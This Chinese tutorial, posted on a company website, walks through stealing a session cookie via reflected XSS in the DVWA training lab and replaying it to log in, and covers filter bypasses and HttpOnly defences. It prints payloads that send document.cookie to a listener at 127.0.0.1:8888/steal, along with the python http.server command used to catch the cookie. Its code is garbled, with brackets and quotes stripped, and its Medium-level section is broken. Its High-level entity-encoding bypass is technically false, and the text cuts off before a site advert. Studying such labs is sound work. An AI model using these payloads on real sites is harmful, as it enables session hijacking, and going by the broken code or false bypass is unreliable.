资讯动态

DVWA实战:XSS窃取Cookie实现无密码登录与防御详解

发布时间:2026/10/21 8:01:52 来源:尧图企业网站定制
1. 项目背景与核心价值为什么选DVWA练XSS先交代一下背景。这个项目的标题很直白用DVWADamn Vulnerable Web Application一个专门用来练手的靶场搭环境通过XSS漏洞拿到受害者的Cookie然后用这个Cookie直接登录目标站点全程不需要知道人家的密码。说白了就是演示“Cookie伪造登录”或“会话劫持”的完整链路。我之所以推荐从DVWA入门是因为它自带四个安全等级Low、Medium、High、Impossible同一个漏洞在不同等级下代码写法完全不同。你可以在Low级别先把攻击思路跑通再逐步看Medium和High级别的过滤规则是怎么把路堵死的这种“先通后堵”的学习节奏比直接上一个真实站点去试错靠谱得多。毕竟在真实站点上搞XSS属于违法操作而在本地靶场里你怎么折腾都不会有法律风险。这个实验适合谁三类人。第一类是刚接触Web安全的学生想理解“为什么Cookie这么重要”、“为什么网站要搞HttpOnly”第二类是写业务代码的开发者看完这个实验能明白为什么产品经理提的“对XSS查漏补缺”永远排不上期会导致什么后果第三类是运维或安全测试人员想快速掌握一套可复用的Cookie窃取与登录复现流程。整个过程大约30到40分钟就能跑通前提是你对Linux基本命令和HTTP协议有个粗浅的了解。我自己第一次跑这个实验的时候卡在了“为什么我明明拿到了Cookie却登录不了后台”这个问题上后来才发现是没把Cookie的作用域Domain和Path看清楚。这篇文章会把类似这种坑都提前给你标出来。2. 环境搭建与工具准备一个能跑通的组合2.1 靶场与攻击机的安装选型先说靶场。DVWA官方推荐用XAMPP或LAMP搭环境但如果你有Docker我强烈建议直接用官方镜像省去PHP版本不兼容的麻烦。我自己用的是以下这套组合靶机DVWA via Docker跑在虚拟机的Linux上PHP 7.4镜像攻击机Python 3环境只需要内置的http.server模块不需要额外装库浏览器Firefox下面会说为什么不用Chrome命令很简单先拉镜像起容器docker pull vulnerables/web-dvwa docker run -d -p 8080:80 vulnerables/web-dvwa这里有个细节容器默认的数据库可能需要初始化首次打开DVWA页面时点一下“Create / Reset Database”然后默认账号是admin密码是password。如果你的容器起不来检查一下端口有没有被占用或者换用XAMPP一键安装包。重点是把环境跑起来没必要在安装上耗太久。2.2 为什么选Python的http.server做接收端窃取Cookie的常规做法是让受害者的浏览器向攻击者的服务器发一个HTTP请求Cookie放在URL里。这个接收服务器不需要复杂功能只要能记录下请求的完整URL就行。Python自带的http.server模块恰好满足需求而且不需要公网IP——DVWA和攻击脚本跑在同一台机器或同一个局域网里就够了。启动监听服务python3 -m http.server 8888默认情况下http.server会把请求日志输出到终端包括请求的路径。如果你的环境是纯文本界面你会看到类似这样的输出127.0.0.1 - - [05/Jan/2025 14:23:11] GET /?cookiePHPSESSIDabc123def456 HTTP/1.1 200 -这串日志就是我们的战利品。注意http.server默认会尝试返回一个目录列表页面但这不影响我们获取URL参数。如果请求太多导致日志刷屏你可以在浏览器里打开“开发者工具 网络”面板来观察但我更喜欢直接用命令行看原始日志信息最干净。2.3 浏览器选择背后的现实原因Firefox在这个实验里有优势它对Cookie的管理在开发者工具里展示得很直观而且你可以在“隐私与安全”设置里关闭HttpOnly保护吗不你不需要关闭保护但你可以通过CtrlShiftE网络监视器直接查看每个请求的Cookie头。Chrome也能做同样的事但Firefox有个小细节更顺手你可以单独为某个站点设置Cookie的存储有效期方便测试。还有一个更关键的原因DVWA的XSS注入点如果被浏览器自带的XSS过滤器拦截实验就做不下去了。Chrome的XSS Auditor后来改名为XSS过滤器曾经拦截过不少反射型XSS的测试Payload导致你明明输入了正确的攻击代码却看不到效果。Firefox默认的过滤机制相对宽松适合新手做练习。如果你只有Chrome也别慌后面我会讲如何用编码绕过一个简单的关键词过滤但首轮实验用Firefox能省很多事。3. 攻击链路全解从注入点到Cookie到手3.1 定位XSS注入点DVWA里的反射型XSSDVWA有专门的XSS模块分反射型Reflected、存储型Stored和DOM型。我们先看反射型因为它流程最短、最适合理解攻击闭环。进入DVWA后把安全级别切到Low点击“XSS (Reflected)”菜单你会看到一个输入框提示输入你的名字。正常使用就是输入“Alice”然后页面回显“Hello Alice”。问题出在这个回显没有做任何过滤——你输入的内容被原封不动地拼接进了HTML。先试一个简单的探针scriptalert(1)/script如果页面弹出“1”说明脚本被执行了。这一步只验证注入点是否存在真正的攻击还要换Payload。关键知识点来了为什么这个注入点能窃取Cookie因为DVWA在Low级别没有给会话Cookie设置HttpOnly属性。HttpOnly是Cookie的一个标志位只要它存在JavaScript就无法通过document.cookie读取到会话标识。而DVWA的Low级别为了教学效果故意关掉了这个保护。你可以在浏览器开发者工具里看到PHPSESSID这个Cookie的HttpOnly列是空的。3.2 构造Cookie窃取Payload完整版攻击URL确认注入点可用后我们把alert换成真正的窃取代码。思路是让浏览器把document.cookie拼接到攻击服务器的地址后面然后作为请求发出去。最常见的Payload长这样scriptdocument.locationhttp://127.0.0.1:8888/steal?cookiedocument.cookie/script这段代码的含义是把当前页面的Cookie拼到URL参数里然后用document.location跳转到攻击者的服务器。当受害者的浏览器访问这个恶意注入的页面时它就会带着Cookie去访问你的监听端口。你可能会问为什么不用XMLHttpRequest因为跨域请求会受到同源策略限制而直接改location是最粗暴、最不容易被拦截的方式——浏览器会直接发起一个全新的GET请求即使目标服务器和当前页面不同源。这里牺牲了隐蔽性换来的是稳定性和简单性。如果你在真实渗透测试里会更倾向于用Image标签的src属性来发请求因为图片请求不会被用户感知到但这都是后话了。实际操作时你需要把上面的Payload做一次URL编码再放进地址栏以防浏览器或服务器解析出错。编码后的Payload是这样的%3Cscript%3Edocument.location%3D%27http%3A%2F%2F127.0.0.1%3A8888%2Fsteal%3Fcookie%3D%27%2Bdocument.cookie%3C%2Fscript%3E当然DVWA的Low级别甚至可以不编码直接粘贴但养成编码习惯对后续实验有好处。3.3 完整攻击演示从输入到日志到登录我把完整流程拆成五步方便你照着执行。第一步启动监听python3 -m http.server 8888第二步在DVWA的XSS Reflected页面的输入框里粘贴Payload并提交。这时代码被执行浏览器跳转到攻击服务器的地址。第三步回到监听终端你会看到类似这样的日志127.0.0.1 - - [05/Jan/2025 14:23:11] GET /steal?cookiePHPSESSIDabc123def456 HTTP/1.1 200 -注意如果日志只显示“GET /”而没有“steal”说明Payload没有执行成功。先检查是否被浏览器拦截再检查页面有没有输出编码后的尖括号。第四步复制PHPSESSID后面那串值。打开一个新的隐私窗口手动设置Cookie。这里用什么工具都行Firefox可以用“Store”扩展辅助管理Cookie但手动操作最快——开发者工具里找到“存储”面板在Cookie部分右键添加。第五步用这个Cookie访问DVWA的index.php这时你就获得了admin身份的会话。因为DVWA的页面只校验Session ID是否有效不会重新要求输入密码。3.4 为什么“无密码登录”如此危险这个实验直接演示了Web登录态的本质对于绝大多数传统Web应用登录成功之后服务器只认Session ID密码只是换取Session的凭证。一旦Session被窃取攻击者在有效期内拥有和受害者完全相同的权限不需要重新认证。你可能会问那HTTPS加密能不能防止Cookie被窃取答案是HTTPS能防止Cookie在传输途中被监听但无法防止XSS脚本在浏览器里直接读取Cookie。只要Cookie能在JavaScript层被读到无论传输过程多安全攻击者都能通过恶意脚本把它带走。这就是为什么HttpOnly标志那么重要——它把Cookie从JavaScript可读区域里隔离出去即使XSS注入成功脚本也拿不到会话标识。这也是很多安全测试报告里会把“未设置HttpOnly”单独列一条高危项的原因。在DVWA里你只需要在配置文件里加一行ini_set(session.cookie_httponly, 1);或直接在php.ini里设置session.cookie_httponly 1就可以在Impossible级别看到这个保护效果。4. 等级进阶Medium和High级的绕过与防御思路4.1 Medium级别输入过滤但我可以绕过把DVWA安全级别切到Medium再试刚才的Payload你会发现脚本没有执行。查看源码可以发现Medium级别做了一件事它把输入的“ ”又变成了合法的标签。这个思路和SQL注入里的“双写绕过”如出一辙。但注意这种方式只能对付一次过滤。如果服务器实现了递归过滤嵌套就没用了。你可以在本地用PHP函数str_replace的循环版本来测试但DVWA只做一次所以就这样。4.2 High级别事件属性大显身手High级别不再简单过滤script标签而是用正则把大量危险标签与关键词直接移除。常见代码如下$xss preg_replace(/.*?(script|onerror|onclick|onmouseover).*?/i, , $input);这里它会把包含script或on事件属性的整个标签删掉。乍一看Filter很强但它只针对“带尖括号的标签”。如果你把Payload放在不依赖尖括号的事件属性里就能绕过。比如利用图片标签的onerror事件img srcx onerroralert(1)正则匹配到“onerror”会删掉整个img标签不它匹配的是“...onerror...”其实这个正则确实会删掉img标签因为onerror就在尖括号内。那怎么绕过利用事件属性在不同标签中的表现形式比如用不带尖括号的协议a hrefjavascript:alert(1)点我/a正则要求必须是“...script...”或“...onerror...”这样的形态而这里的javascript协议位于href属性内标签体内没有onerror所以整个a标签不会被删。但这种绕过需要用户点击不符合我们“自动窃取Cookie”的目标。更稳定的方式是使用iframe配合事件属性iframe srcdocimg srcx onerroralert(1)/iframe但这个Payload里面嵌套了完整的img标签正则可能匹配到内层标签并删除。所以High级别真正推荐的绕过方案是利用HTML实体编码。比如把onerror的字母用HTML实体表示img srcx #111;nerroralert(1)当浏览器解析HTML时会先把实体解码成onerror再作为属性处理。而正则是在原始字符串上做匹配它看到的不是“onerror”而是“onerror”因此不会被删除。我们向服务器提交的是编码后的字符串服务器端字符串里不含onerror关键词正则放行浏览器端解码后成为真实的属性脚本得以执行。这个思路应用在窃取Cookie上整体Payload可以写成img srcx #111;nerrordocument.locationhttp://127.0.0.1:8888/steal?cookiedocument.cookieHigh级别还涉及一个点它会把输入内容中的“[”和“]”替换成“_”防止某些数组注入但这个对我们当前的Payload影响不大。4.3 Impossible级别输出编码彻底堵死Impossible级别的代码使用的是htmlspecialchars函数把所有特殊字符小于号、大于号、引号等转成HTML实体。这样一来你输入的“

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑